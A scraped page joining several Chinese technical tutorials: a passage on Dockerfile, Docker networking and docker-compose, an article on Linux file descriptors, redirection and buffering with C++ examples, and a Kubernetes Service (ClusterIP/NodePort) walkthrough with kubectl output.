之后的参数替换掉。 # 在dockerfile中的cmd命令,在运行容器时会启动tomcat CMD ["catalina.sh", "run"] # 如果在执行运行容器的命令在run后面添加参数,会被tomcat后面的参数覆盖掉cmd docker run tomcat /bin/bash3、RUN 是在构建镜像时运行,而 CMD 是在运行镜像时执行的。ENTRYPOINT:在容器启动时需要运行的命令,类似 CMD 但是不会被 docker run 后面的参数覆盖掉,而且 docker run 后面的参数会作为参数传递给 ENTRYPOINT。 # 格式 ENTRYPOINT ["执行的命令", "参数1", "参数2"] # ENTRYPOINT可以和CMD一起使用,一起使用时CMD相当于是给ENTRYPOINT传参数。 ENTRYPOINT ["nginx", "-c"] CMD ["/etc/nginx/nginx.cnf"]8.2、虚悬镜像虚悬镜像:仓库名、标签名都是 <none>的镜像称为虚悬镜像,俗称:dangling image。这种镜像存在缺陷,建议删除。 # 在 docker build 没有指定仓库名、标签名就会构建一个虚悬镜像,`docker build .` # 查看当前的虚悬镜像 docker images ls -f dangling=true # 删除所有的虚悬镜像 docker images prune8.3、docker 构建运行服务镜像使用 Dockerfile 构建一个可以运行 jar 的镜像,这样只要云翔镜像容器就可以直接启动服务。编写 Dockerfile 文件: # 需要一个有java环境的基础镜像,这个需要自己构建也可以使用仓库中的 FROM java8:1.0 # 自定义工作目录时不能PATH,可能会覆盖基础镜像的路径,导致命令运行失败 ENV MYPATH /usr/local WORKDIR $MYPATH # 添加jar包 ADD xxx.jar $MYPATH/jars/xxx.jar RUN bash -c 'touch $MYPATH/jars/xxx.jar' # 也可以使用COPY命令添加jar包 # COPY test.jar $MYPATH/jars/test.jar # 暴露端口 EXPOSE 8080 # 运行镜像时执行命令 ENTRYPOINT ["java","-jar","./jars/xxx.jar"]构建镜像: # 运行构建命令, 注意后面有一个点,不能缺少 docker build -t java_test:1.0 .运行镜像: # 运行命令 docker run -d -p 8081:8080 java_test:1.0测试:注意:在 Dockerfile 中的数据挂载是匿名挂载,VOLUME /usr/local/oas/file/,它会将容器中指定的目录挂载到宿主机上的 /var/lib/docker/volumes/中的随机目录下,这种方式自定义不强,一般采用 -v 的方式进行挂载。nohup命令: nohup java -jar xx.jar >>/mylog.log 2>&1 & # >>/mylog.log 将日志信息追加到指定文件,还有一种是>将日志信息重定向到新文件 # 0:标准输入信息 # 1:标准信息 # 2:标准错误信息 # &:后台运行程序,关闭窗口程序不会停止 # 2>&1:将错误和标准信息都输出到指定文件中9、Docker 网络Docker 启动后,会在宿主机上创建一个名为 docker0 的虚拟网桥,负责配置docker与宿主机的网络连接以及容器与容器之间的网络连接。 Docker 服务默认创建一个 docker0 网桥,它在内核层联通;了其它物理或虚拟网卡,这将所有容器和宿主机放到同一个网络段,让宿主机和网络通过网桥相互通信。常见命令: # 查看容器网络模式,默认创建3个网络模式 docker network ls # 创建自定义网络类型,自定义网络模式默认驱动都是bridge docker network create xxxx # 查看模式详情 docker network inspect xxx # 清除没用的网络模式 docker network prune # 删除网络模式 docker network rm xxx应用:容器间的网络互连以及端口映射。容器 IP 变动时,可以通过容器名称进行访问。(每次重启 docker 容器时,容器的 IP 可能会变化)Docker 网络模式:网络模式命令作用bridge(默认)--network bridge为每一个容器分配一个 IP 地址,并将容器连接到 docker0 这个虚拟网桥上host--network host容器不会虚拟自己的网卡,而是使用宿主机网卡,宿主机有什么,这个容器就有什么none--network none容器不会有网络配置。container--network container:容器名称容器不会创建自己的网卡,而是和指定一个已创建的容器共享它的网卡,已创建容器停止后,自己就会断网查看容器网络配置: # 起一个容器 docker run -it centos:centos7 /bin/bash # 查看容器详情 docker inspect 容器id==重启容器时,容器配置的 IP 地址可能会发生变化。==bridge网络模式: docker0 网桥上有一堆接口,每一个接口叫 veth,每个容器也有一个网卡接口 eth0,当启动一个容器时会将容器的网卡接口和网桥上的接口一一配对,分配自己的 ip 地址。由于容器都是连接到网桥的接口上,所以容器与容器之间都是相互连通的。 # 创建两个容器 docker run -it centos:centos7 /bin/bash宿主机上的网卡:出现对应的容器网卡对接到 docker0 网桥上。容器中的网卡:容器与网桥上的接口都是一一匹配的。host 网络模式:直接使用宿主机的 ip 地址与外界通信,不创建容器自己的网卡。none 网络模式:没有配置虚拟网卡,相当于没有网络设置,只有一个本地回环地址。 # 起none网络模式的容器 docker run -it --network=none centos:centos7 bin/bashcontainer 网络模式:新建容器会与运行的一个容器共享一个网卡和端口,新建容器不会虚拟新的网卡。除了网络是共享的,其它功能都是隔离的。自定义网络模式:创建的网络模式默认使用 bridge 驱动,可以使用容器名在容器之间相互连接。(容器的 ip 地址是动态的) # 创建自定义网络 docker network create xxx # 使用自定义网络来运行容器 docker run -it -d --network=my_network --name t1 centos:centos7 /bin/bash docker run -it -d --network=my_network --name t2 centos:centos7 /bin/bash10、Docker-Compose容器编排docker-compose:是 docker 官方开源的项目,负责实现对 docker 容器集群的快速编排。你只需要定义一个 docker-compose.yml 文件,定义好多个容器间调用关系,然后只需要一个命令可以快速关闭、启动这些容器。 随着实例化的容器越来越多,对这些容器的管理成为一个问题。还有就是容器启动可能存在先后顺序,需要先启动某个容器,然后再启动容器,这就需要一个管理者来进行管理,就是 docker-compose。它允许用户通过一个单独的 docker-compose.yml 配置文件来定义一组关联的应用容器作为一个项目。 # 下载安装docker-compose curl -SL https://github.com/docker/compose/releases/download/v2.18.1/docker-compose-linux-x86_64 -o /usr/local/bin/docker-compose # 修改文件权限 chmod +x /usr/local/bin/docker-compose # 测试是否安装完成 docker-compose --version # 卸载 rm $DOCKER_CONFIG/cli-plugins/docker-composedocker-compose使用步骤:编写 Dockerfile 定义各个微服务应用并构建其镜像。使用 docker-compose.yml 定义一个完整工程单元,安排应用中各个容器服务。执行 docker-compose up 命令启动运行整个工程,完成一键部署。docker-compose常用命令: # 查看帮助 docker-compose -h # 启动docker-compose的所有服务,加了-d这些服务在后台运行 docker-compose up [-d] # 停止并删除容器、网络、数据卷、镜 docker-compose down # 进入启动的服务实例 docker-compose exec yml中的服务id /bin/bash # 查看运行的所有容器 docker-compose ps # 查看运行的所有容器的线程 docker-compose top # 查看某个容器的输出日志 docker-compose logs yml中的服务id # 检查配置,加了-q后检查配置,有问题才会输出 docker-compose config [-q] # 重启服务、启动服务、停止服务 docker-compose restart/start/stop编写 docker-compose.yml 文件: # 使用3以上的 version : '3.8' # 需要启动的服务 services: # 服务名,唯一即可 redis: # 容器名:--name,不加这个字段,容器名默认为 当前文件夹名-服务名-id container_name: redis1 # 运行的镜像 image: redis:latest # 映射端口 ports: - "6379:6379" # 使用的网络模式 networks: - test_network # 传递的参数 #environment: # 数据卷挂载 volumes: # 在docker中中运行redis需要将后台运行关闭,不然运行不了 - ./redis/conf/redis.conf:/etc/redis/redis.conf - ./redis/data:/data # 依赖于什么服务镜像,这些镜像需要先启动 # depends_on: # 运行时执行的命令,相当于 CMD command: redis-server /etc/redis/redis.conf # tomcat tomcat: container_name: tomcat1 image: tomcat:latest ports: - "8080:8080" networks: - test_network volumes: - ./tomcat/webapps:/usr/local/tomcat/webapps - ./tomcat/conf/sever.xml:/usr/local/tomcat/conf/server.xml # 定义网络,用于创建自定义网络模式,网络模式是bridge,名称是 当前文件夹_t networks: test_network:检查文件配置是否正确: # 如果没有信息输出则文件正确 docker-compose config -q使用编排来启动容器: # 容器以后台运行,可以指定启动对应服务,不写这是全部启动 docker-compose up -d [服务名1] [服务名2] 11、Docker 监控工具 PortainerPortainer:是一个图形化界面的 Docker 管理工具,可以在这个界面对容器进行操作。 # 安装命令,它也是可以跑在docker上的 docker volume create portainer_data docker run -d -p 8000:8000 -p 9000:9000 --name portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest最近发现除了腾讯云和阿里云之外的一种好用的云服务器,那就是三丰云云服务器,它拥有众多的功能,其中一个就是可以免费试用一款云服务器,下面介绍它的使用方式。官方地址:https://www.sanfengyun.com/然后进行一个实名认证和微信的绑定就可以申请一个 1c1g的免费服务器。三丰云是北京太极三丰云计算有限公司旗下网络服务品牌,十八年IDC老兵团队蛰伏三年后投资千万于2018年10月1日创建。公司致力于为大众提供优质的互联网基础服务和物联网服务,包括:域名注册、虚拟主机、云服务器、主机托管租用、CDN网站加速、物联网应用等服务。以帮助客户轻松、 高速、高效的应用互联网/物联网,提高企业竞争能力。,它拥有众多的功能,其中一个就是可以免费试用一款云服务器,下面介绍它的使用方式。官方地址:https://www.sanfengyun.com/
Linux基础IO【重定向及缓冲区理解】
✨个人主页:
北 海
所属专栏:
Linux学习之旅
操作环境:
CentOS 7.6 阿里云远程服务器
前言
文件描述符 fd 是基础IO中的重要概念,一个 fd 表示一个 file 对象,如常用的标准输入、输出、错误流的 fd 分别为 0、1、2,实际进行操作时,OS 只需要使用相应的 fd 即可,不必关心具体的 file,因此我们可以对标准流实施 重定向,使用指定的文件流,在实际 读/写 时,为了确保 IO 效率,还需要借助 缓冲区 进行批量读取,最大化提高效率。关于上述各种概念,将会在本文中详细介绍,且听我娓娓道来
️正文
1、文件描述符
在使用 C语言 相关文件操作函数时,可以经常看到 FILE 这种类型,不同的 FILE* 表示不同的文件,实际进行读写时,根据 FILE* 进行操作即可
#include<iostream>
#include <cstdio>
using namespace std;
int main()
{
//分别打开三个 FILE 对象
FILE* fp1 = fopen("test1.txt", "w");
FILE* fp2 = fopen("test2.txt", "w");
FILE* fp3 = fopen("test3.txt", "w");
//对不同的 FILE* 进行操作
//……
//关闭
fclose(fp1);
fclose(fp2);
fclose(fp3);
fp1 = fp2 = fp3 = NULL;
return 0;
}
那么在 C语言 中,OS 是如何根据不同的 FILE* 指针,对不同的 FILE 对象进行操作的呢?
答案是 文件描述符 fd,这是系统层面的标识符,FILE 类型中必然包含了这个成员
如何证明呢?实践出真知,在上面代码的基础上,加入打印语句
注:stdin 等标准流在 C语言 中被覆写为 FILE 类型
//标准文件流
cout << "stdin->fd: " << stdin->_fileno << endl;
cout << "stout->fd: " << stdout->_fileno << endl;
cout << "stderr->fd: " << stderr->_fileno << endl;
cout << "===================================" << endl;
cout << "此时标准流的类型为:" << typeid(stdin).name() << endl;
cout << "此时文件流的类型为:" << typeid(fp1).name() << endl;
cout << "===================================" << endl;
//自己打开的文件流
cout << "fp1->fd: " << fp1->_fileno << endl;
cout << "fp2->fd: " << fp2->_fileno << endl;
cout << "fp3->fd: " << fp3->_fileno << endl;
可以看出,FILE 类型中确实有 fd 的存在
文件描述符 是如何设计的?新打开的文件描述符为何是从 3 开始?别急,接着往下看
1.1、先描述,再组织
操作系统是一个伟大的产物,它可以调度各种资源完成各种任务,但资源太多、任务太重,不合理的分配会导致效率低下,因此在进行设计时,必须确保 OS 操作时的高效性
比如现在学习的 文件系统,倘若不进行设计的话,在进行 IO 时,OS 必须先将所有文件扫描一遍,找到目标文件后才能进行操作,这是非常不合理的
因此,根据 ==先描述、再组织== 原则,OS 将所有的文件都统一视为 file 对象,获取它们的 file* 指针,然后将这些指针存入指针数组中,可以进行高效的随机访问和管理,这个数组为 file* fd_array[],而数组的下标就是神秘的 文件描述符 fd
当一个程序启动时,OS 会默认打开 标准输入、标准输出、标准错误 这三个文件流,将它们的 file* 指针依次存入 fd_array 数组中,显然,下标 0、1、2 分别就是它们的文件描述符 fd;后续再打开文件流时,新的 file* 对象会存入当前未被占用的最小下标处,所以用户自己打开的 文件描述符一般都是从 3 开始
除了文件描述符外,还需要知道文件权限、大小、路径、引用计数、挂载数等信息,将这些文件属性汇集起来,就构成了 struct files_struct 这个结构体,而它正是 task_struct 中的成员之一
1.2、files_struct
files_struct 结构体是对已打开文件进行描述后形成的结构体,其中包含了众多文件属性,本文探讨的是 文件描述符 fd
进程的 PCB 信息中必然包含文件操作相关信息,这就是 files_struct
注:文件被打开后,并不会加载至内存中(这样内存早爆了),而是静静的躺在磁盘中,等待进程与其进行 IO,而文件的 inode 可以找到文件的详细信息:所处分区、文件大小、读写权限等,关于 inode 的更多详细信息将会在 【深入理解文件系统】 中讲解
1.3、分配规则
fd 的分配规则为:先来后到,优先使用当前最小的、未被占用的 fd
存在下面两种情况:
直接打开文件 file.txt,分配 fd 为 3
先关闭标准输入 stdin 中原文件执行流(键盘),再打开文件 file.txt,分配 fd 为 0,因为当前 0 为最小的,且未被占用的 fd
#include<iostream>
#include <cstdio>
#include <cassert>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
using namespace std;
int main()
{
//先打开文件 file.txt
int fd = open("file.txt", O_WRONLY | O_CREAT | O_TRUNC, 0666);
assert(fd != -1); //存在打开失败的情况
cout << "单纯打开文件 fd: " << fd << endl;
close(fd); //记得关闭
//先关闭,再打开
close(0); //关闭1号文件执行流
fd = open("file.txt", O_WRONLY | O_CREAT | O_TRUNC, 0666);
cout << "先关闭1号文件执行流,再打开文件 fd: " << fd << endl;
close(fd);
return 0;
}
==注意:== 假若将标准输出 stdout 中的原文件执行流(显示器)关闭了,那么后续的打印语句将不再向显示器上打印,而是向此时 fd 为 1 的文件流中打印
//关闭 显示器 写入数据
close(1);
int fd = open("file.txt", O_WRONLY | O_CREAT | O_TRUNC, 0666);
assert(fd != -1); //存在打开失败的情况
cout << "单纯打开文件 fd: " << fd << endl;
cout << "you can see me! not on screen" << endl;
close(fd); //记得关闭
这其实就是 重定向 的基本操作
1.4、一切皆文件
如何理解 Linux 中一切皆文件这个概念?
现象:即使是标准输入(键盘)、标准输出(显示器) 在 OS 看来,不过是一个 file 对象
原理:无论是硬件(外设),还是软件(文件),对于 OS 来说,只需要提供相应的 读方法 和 写方法 就可以对其进行驱动,打开文件流后,将 file* 存入 fd_array 中管理即可,因此在 Linux 中,一切皆文件
2、重定向
在学习重定向前,首先要明白 标准输入、输出、错误 的用途
标准输入(stdin)-> 设备文件 -> 键盘文件
标准输出(stdout)-> 设备文件 -> 显示器文件
标准错误(stderr)-> 设备文件 -> 显示器文件
标准输入:从键盘中读取数据标准输出:将数据输出至显示器中标准错误:将可能存在的错误信息输出至显示器中
标准输出 与 标准错误 都是向显示器中输出数据,为什么不合并为一个?
因为在进行排错时,可能需要单独查看错误信息,若是合并在一起,查看日志时会非常麻烦;但如果分开后,只需要将 标准错误 重定向后,即可在一个单独的文件中查看错误信息
C/C++ 中进行标准输入、输出、错误对应流:标准输入:stdin / cin标准输出:stdout / cout标准错误:stderr / cerr
使用 cerr 函数可直接向标准错误流中打印信息
2.1、重定向的本质
前面说过,OS 在进行 IO 时,只会根据标准输入、输出、错误对应的文件描述符 0、1、2 来进行操作,也就是说 OS 作为上层不必关心底层中具体的文件执行流信息(fd_array[] 中存储的对象) 因此我们可以做到 “偷梁换柱”,将这三个标准流中的原文件执行流进行替换,这样就能达到重定义的目的了
2.2、利用指令重定向
下面直接在命令行中实现输出重定向,将数据输出至指定文件中,而非屏幕中
echo you can see me > file.txt
可以看到数据直接输出至文件 file.txt 中
当然也可以 从 file.txt 中读取数据,而非键盘
cat < file.txt
现在可以理解了,> 可以起到将标准输出重定向为指定文件流的效果,>> 则是追加写入而 < 则是从指定文件流中,标准输入式的读取出数据
除此之外,我们还可以利用程序进行操作,在运行后进行重定向即可
#include <iostream>
using namespace std;
int main()
{
cout << "标准输出 stdout" << endl;
cerr << "标准错误 stderr" << endl;
return 0;
}
直接运行的结果,此时的标准输出和标准错误都是向显示器上打印
利用命令行只对 标准输出 进行重定向,file.txt 中只收到了来自 标准输出 的数据,这是因为 标准输出 与 标准错误 是两个不同的 fd,现在只重定向了 标准输出 1
对 标准错误 也进行 重定向,打印内容至 file.txt
将
标准输出 打印至
file.txt 中,
标准错误 打印至
log.txt 中
以上只是简单演示一下如何通过命令行进行 重定向,在实际开发中进行重定向操作时,使用的是函数 dup2
2.3、利用函数重定向
系统级接口 int dup2(int oldfd, int newfd)
函数解读:将老的 fd 重定向为新的 fd,参数1 oldfd 表示新的 fd,而 newfd 则表示老的 fd,重定向完成后,只剩下 oldfd,因为 newfd 已被覆写为 oldfd 了;如果重定向成功后,返回 newfd,失败返回 -1
参数设计比较奇怪,估计作者认为 newfd 表示重定向后,新的 fd
下面来直接使用,模拟实现报错场景,将正常信息输出至 log.normal,错误信息输出至 log.error 中
#include <iostream>
#include <cstdlib>
#include <cerrno>
#include <cassert>
#include <cstring>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
using namespace std;
int main()
{
//打开两个目标文件
int fdNormal = open("log.normal", O_WRONLY | O_CREAT | O_TRUNC, 0666);
int fdError = open("log.error", O_WRONLY | O_CREAT | O_TRUNC, 0666);
assert(fdNormal != -1 && fdError != -1);
//进行重定向
int ret = dup2(fdNormal, 1);
assert(ret != -1);
ret = dup2(fdError, 2);
assert(ret != -1);
for(int i = 10; i >= 0; i--)
cout << i << " "; //先打印部分信息
cout << endl;
int fd = open("cxk.txt", O_RDONLY); //打开不存在的文件
if(fd == -1)
{
//对于可能存在的错误信息,最好使用 perror / cerr 打印,方便进行重定向
cerr << "open fail! errno: " << errno << " | " << strerror(errno) << endl;
exit(-1); //退出程序
}
close(fd);
return 0;
}
在开发大型项目时,将 错误信息 单独剥离出来是一件很重要的事
学习了 重定向 相关知识后,我们可以对 【简易版 bash】 进行功能更新(已于 2023.3.28 更新)
3、缓冲区
3.1、缓冲区存在的意义
在【基础IO】 中还存在一个重要概念:缓冲区
缓冲区 其实就是一个 buffer 数组,配合不同的刷新策略,起到提高 IO 效率的作用
感性理解:
假设你家养有一条二哈,当你在投喂食物时,如果你每次都只往嘴里丢入一粒狗粮,那么你的整个喂食过程将持续非常长的时间,这已经严重影响了你写代码的时间,你一天啥都不做,就光喂狗去了;于是你想了一个办法:给它安排了一个狗碗(缓冲区),每次都只需将狗粮倒入其中,等待它自己进食即可,这样一来不但提高了二哈的进食效率,同时也给你写代码留足了时间;类似的例子还有很多,比如如果没有垃圾桶,那么你扔的每个垃圾都得跑到垃圾站中去处理;如果货车没有货箱,那么一批货得拉好几天;如果手机没有电池,那么再高级的功能也摆脱不了充电线的桎梏
理性理解:CPU 计算速度非常快!而磁盘的读取速度相对于 CPU 来说是非常非常慢的,因此需要先将数据写入缓冲区中,依据不同的刷新策略,将数据刷新至内核缓冲区中,供 CPU 进行使用,这样做的是目的是尽可能的提高效率,节省调用者的时间
本来 IO 就慢,如果没有缓冲区的存在,那么速度会更慢,下面通过一个代码来看看是否进行 IO 时,CPU 的算力差距
#include <iostream>
#include <unistd.h>
#include <signal.h>
using namespace std;
int count = 0;
int main()
{
//定一个 1 秒的闹钟,查看算力
alarm(1); //一秒后闹钟响起
while(true)
{
cout << count++ << endl;
}
return 0;
}
最终在 1s 内,count 累加了 10w+ 次(有 IO 的情况下)
下面改变程序,取消 IO
int count = 0;
void handler(int signo)
{
cout << "count: " << count << endl;
exit(1);
}
int main()
{
//定一个 1 秒的闹钟,查看算力
signal(14, handler);
alarm(1); //一秒后闹钟响起
while(true) count++;
return 0;
}
最终在没有 IO 的情况下,count 累加了 5亿+ 次,由此可以看出频繁 IO 对 CPU 计算的影响有多大,假若没有缓冲区,那么整个累加值将会更多(因为需要花费更多的时间在 IO 上)
因此在进行 读取 / 写入 操作时,常常会借助 缓冲区 buffer
#include <iostream>
#include <cassert>
#include <cstdio>
#include <cstring>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
using namespace std;
int main()
{
int fd = open("file.txt", O_WRONLY | O_CREAT | O_TRUNC, 0666);
assert(fd != -1);
char buffer[256] = {
0 }; //缓冲区
int n = read(0, buffer, sizeof(buffer)); //读取信息至缓冲区中
buffer[n] = '\0';
//写入成功后,在写入文件中
write(fd, buffer, strlen(buffer));
close(fd);
return 0;
}
3.2、缓冲区刷新策略
缓冲区有多种刷新策略,比如 C语言 中 scanf 的缓冲区刷新策略为:遇到空白字符或换行就刷新,因此在输入时需要按一下回车,缓冲区中的数据才能刷新至内核缓冲区中,而 printf 的刷新策略为 行缓冲,即遇到 \n 才会进行刷新
总体来说,缓冲区的刷新策略分为以下三种:
无缓冲 -> 没有缓冲区
行缓冲 -> 遇到 \n 才进行刷新,一次冲刷一行
全缓冲 -> 缓冲区满了才进行刷新
一般而言,显示器的刷新策略为 行缓冲,而普通文件的刷新策略为 全缓冲
一个简单的 demo 观察 行缓冲
#include <iostream>
#include <unistd.h>
using namespace std;
int main()
{
while(true)
{
//未能触发行缓冲的刷新策略,只能等缓冲区满了被迫刷新
printf("%s", "hehehehe");
sleep(1);
}
return 0;
}
运行结果:无内容打印
稍微改一下代码
while(true)
{
//能触发行缓冲的刷新策略
printf("%s\n", "hehehehe");
sleep(1);
}
运行结果:每隔一秒,打印一次
3.3、普通缓冲区与内核级缓冲区
每一个 file 对象中都有属于自己的缓冲区及刷新策略,而在系统中,还存在一个内核级缓冲区,这个缓冲区才是 CPU 真正进行 IO 的区域
IO 流程:
先将普通缓冲区中的数据刷新至内核级缓冲区中,CPU 再从内核级缓冲区中取数据进行运算,然后存入内核级缓冲区中,最后再由内核级缓冲区冲刷给普通缓冲区
出自知乎 《Linux 实现原理 — I/O 处理流程与优化手段》
这里有一段比较有意思的代码:
#include <iostream>
#include <cstdio>
#include <cstring>
#include <unistd.h>
using namespace std;
int main()
{
fprintf(stdout, "hello fprintf\n");
const char* str = "hello write\n";
write(1, str, strlen(str));
fork(); //创建子进程
return 0;
}
当我们直接运行程序时,结果如下:
而当我们进行重定向后,结果如下:
重定向前后出现两种截然不同的打印结果
原因分析:
显示器刷新策略为 行缓冲,而普通文件为 全缓冲
直接运行程序时:此时是向 显示器 中打印内容,因为有 \n,所以两条语句都直接进行了冲刷
进行重定向后:此时是向 普通文件 中打印内容,因为普通文件是写满后才能刷新,并且 fprintf 有属于自己的缓冲区,这就导致 fork() 创建子进程后,父子进程的 fprintf 缓冲区中都有内容,当程序运行结束后,统一刷新,于是就是打印了两次 hello fprintf
注:系统级接口是没有自己的缓冲区的,直接冲刷至内核级缓冲区中,比如 write,所以创建子进程对 write 的冲刷没有任何影响
C语言 中的 FILE 类型设计还是比较复杂的,需要考虑很多种情况,不过本质上都是在调用系统级接口,我们现在已经可以模拟实现一个简易版 myFILE 结构体了,具体实现步骤将在下文中揭晓
总结
以上就是本次有关 Linux 基础IO【重定向及缓冲区理解】的全部内容了,在这篇文章中,我们深入理解了文件描述符的概念,学习了重定向的多种方法,最后还学习了缓冲区的相关知识,清楚了普通文件与特殊文件的不同刷新策略。如果你对于本文中所提到的知识点还有疑惑的话,欢迎在评论区或私信中发表你的看法,我们可以相互探讨学习
相关文章推荐
Linux基础IO【文件理解与操作】
Linux【模拟实现简易版bash】
Linux进程控制【进程程序替换】
Linux进程控制【创建、终止、等待】
===============
Linux进程学习【进程地址】
Linux进程学习【环境变量】
Linux进程学习【进程状态】
Linux进程学习【基本认知】
云原生之容器编排实践-以k8s的Service方式暴露SpringBoot服务
背景上一篇文章云原生之容器编排实践-SpringBoot应用以Deployment方式部署到minikube以及弹性伸缩中,我们通过 Deployment 完成了将 SpringBoot 应用部署到 minikube 并测试了其弹性伸缩的丝滑体验。但是 Deployment 部署后我们还面临以下问题:访问时需要先进行端口转发每次只能访问一个Pod,不支持负载均衡将请求路由至不同的PodPod重新创建后IP地址与名称均发生变化,显然这在实际生产环境下是无法容忍的这次我们使用 Kubernetes 的 Service 来解决上述问题, Service 为我们带来了以下特性:Service通过Label标签选择器关联对应的PodService生命周期不跟Pod绑定,不会因为Pod重新创建改变IP提供了负载均衡功能,自动转发流量到不同Pod集群内部可通过服务名字访问(ClusterIP)可对集群外部提供访问端口(NodePort)今天我们体验下两种类型的 Service :分别为 ClusterIP , NodePort 。创建服务最简单的 方式是通过 kubectl expose 命令,结合标签选择器来创建服务资源,实现通过单个 IP 和端口来访问所有的 Pod 。与 Deployment 一样,我们同样可以通过 YAML 描述文件调用 Kubernetes API 服务来创建 Service 。ClusterIPClusterIP 类型的 Service 只能在集群内部可以被访问。可以通过端口转发的方式可以在外面访问到集群里的服务。YAML重点关注类型 kind: Service ,以及选择器 selector.app: cloud-native 。[root@k8s0 service]# vi cloud-native-service.yaml
apiVersion: v1
kind: Service
metadata:
name: cloud-native-svc
spec:
# 用来查找关联的Pod,所有标签都匹配才行
selector:
app: cloud-native
# 默认 ClusterIP 集群内可访问
type: ClusterIP
ports:
- port: 8080
targetPort: 8080
# 应用配置
[root@k8s0 service]# kubectl apply -f cloud-native-service.yaml
service/cloud-native-svc created
获取服务service 可以简写为 svc 。Note: 关于简写,在 Kubernetes 中通常会用到以下简写。namespaces ns
nodes no
pods po
services svc
deployments deploy
replicationcontrollers rc
replicasets rs
configmaps cm
endpoints ep
events ev
cronjobs cj
persistentvolumeclaims pvc
persistentvolumes pv[root@k8s0 service]# kubectl get service
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
cloud-native-svc ClusterIP 10.105.254.130 <none> 8080/TCP 9s
hello-minikube NodePort 10.107.201.188 <none> 8080:31061/TCP 35d
kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 35d
[root@k8s0 service]# kubectl get svc
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
cloud-native-svc ClusterIP 10.105.254.130 <none> 8080/TCP 43s
hello-minikube NodePort 10.107.201.188 <none> 8080:31061/TCP 35d
kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 35dService 服务的默认类型是 ClusterIP ,只能在集群内部访问。可以进入 Pod 内访问或者通过端口转发,并且可以通过服务名称或者IP来访问。我的镜像内部没有 curl 命令(那么问题来了,镜像里面没有curl命令,怎么破?),就不测试了。转发端口[root@k8s0 service]# kubectl port-forward service/cloud-native-svc 8000:8080
Forwarding from 127.0.0.1:8000 -> 8080
Forwarding from [::1]:8000 -> 8080
Handling connection for 8000测试接口完成端口测试后,新开一个 Tab ,使用 Curl 进行接口测试。[root@k8s0 ~]# curl http://localhost:8000/hi
Hi 127.0.0.1, I am 172.17.0.6NodePort使用 NodePort 类型的 Service ,可以做到直接将集群服务暴露出来。YAML重点关注类型 spec.type: NodePort ,以及节点端口 spec.ports.nodePort: 30000 。[root@k8s0 service]# vi cloud-native-service.yaml
apiVersion: v1
kind: Service
metadata:
name: cloud-native-svc
spec:
# 用来查找关联的Pod,所有标签都匹配才行
selector:
app: cloud-native
# NodePort节点可访问
type: NodePort
ports:
- port: 8080 # 本Service端口
targetPort: 8080 # 容器端口
nodePort: 30000 # 节点端口,范围固定30000 ~ 32767
# 应用配置
[root@k8s0 service]# kubectl apply -f cloud-native-service-nodeport.yaml
service/cloud-native-svc configured获取服务cloud-native-svc 为 NodePort 类型。当使用 kubectl describe service 命令时,我们可以观察到结果中的 Endpoints 有两个:172.17.0.5:8080, 172.17.0.6:8080,这便是我们的两个 Deployment 副本。通过 kubectl get pods -o wide 我们可以再次验证:两个 Endpoints 正是我们的两个 Pod 。[root@k8s0 service]# kubectl get svc
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
cloud-native-svc NodePort 10.105.254.130 <none> 8080:30000/TCP 24m
hello-minikube NodePort 10.107.201.188 <none> 8080:31061/TCP 35d
kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 35d
# Endpoints有两个
[root@k8s0 service]# kubectl describe service cloud-native-svc
Name: cloud-native-svc
Namespace: default
Labels: <none>
Annotations: <none>
Selector: app=cloud-native
Type: NodePort
IP Family Policy: SingleStack
IP Families: IPv4
IP: 10.105.254.130
IPs: 10.105.254.130
Port: <unset> 8080/TCP
TargetPort: 8080/TCP
NodePort: <unset> 30000/TCP
Endpoints: 172.17.0.5:8080,172.17.0.6:8080
Session Affinity: None
External Traffic Policy: Cluster
Events: <none>
# 两个Endpoints正是我们的两个Pod
[root@k8s0 service]# kubectl get pods -o wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
cloud-native 1/1 Running 3 (117m ago) 4d12h 172.17.0.4 minikube <none> <none>
cloud-native-7bc75f4c94-47zg7 1/1 Running 2 (117m ago) 2d4h 172.17.0.6 minikube <none> <none>
cloud-native-7bc75f4c94-c2php 1/1 Running 2 (117m ago) 2d4h 172.17.0.5 minikube <none> <none>
hello-minikube-58647b77b8-srpbq 1/1 Running 9 (117m ago) 35d 172.17.0.8 minikub同样,可以桶过 Dashboard 以可视化的方式观测我们运行的 Kubernetes 的 Service 信息。进入节点这里所谓的 节点 ,是指 Kubernetes 节点;显然,这时候我们只有一个 minikube 节点。[root@k8s0 service]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
421832f7e7c9 kicbase/stable:v0.0.32 "/usr/local/bin/entr…" 5 weeks ago Up 2 hours 127.0.0.1:49157->22/tcp, 127.0.0.1:49156->2376/tcp, 127.0.0.1:49155->5000/tcp, 127.0.0.1:49154->8443/tcp, 127.0.0.1:49153->32443/tcp minikube
# 进入节点内部
[root@k8s0 service]# docker exec -it 421832f7e7c9 /bin/bash测试接口在 Kubernetes 节点( minikube )内部测试接口,哇哦,我们体验到了 Service 提供的负载均衡效果。bash复制代码root@minikube:/# curl http://localhost:30000/hi
Hi 172.17.0.1, I am 172.17.0.5root@minikube:/# curl http://localhost:30000/hi
Hi 172.17.0.1, I am 172.17.0.6root@minikube:/# curl http://localhost:30000/hi
Hi 172.17.0.1, I am 172.17.0.5root@minikube:/# curl http://localhost:30000/hi
Hi 172.17.0.1, I am 172.17.0.6root@minikube:/# curl http://localhost:30000/hi
Hi 172.17.0.1, I am 172.17.0.5root@minikube:/# curl http://localhost:30000/hi
Hi 172.17.0.1, I am 172.17.0.6root@minikube:/# curl http://localhost:30000/hi
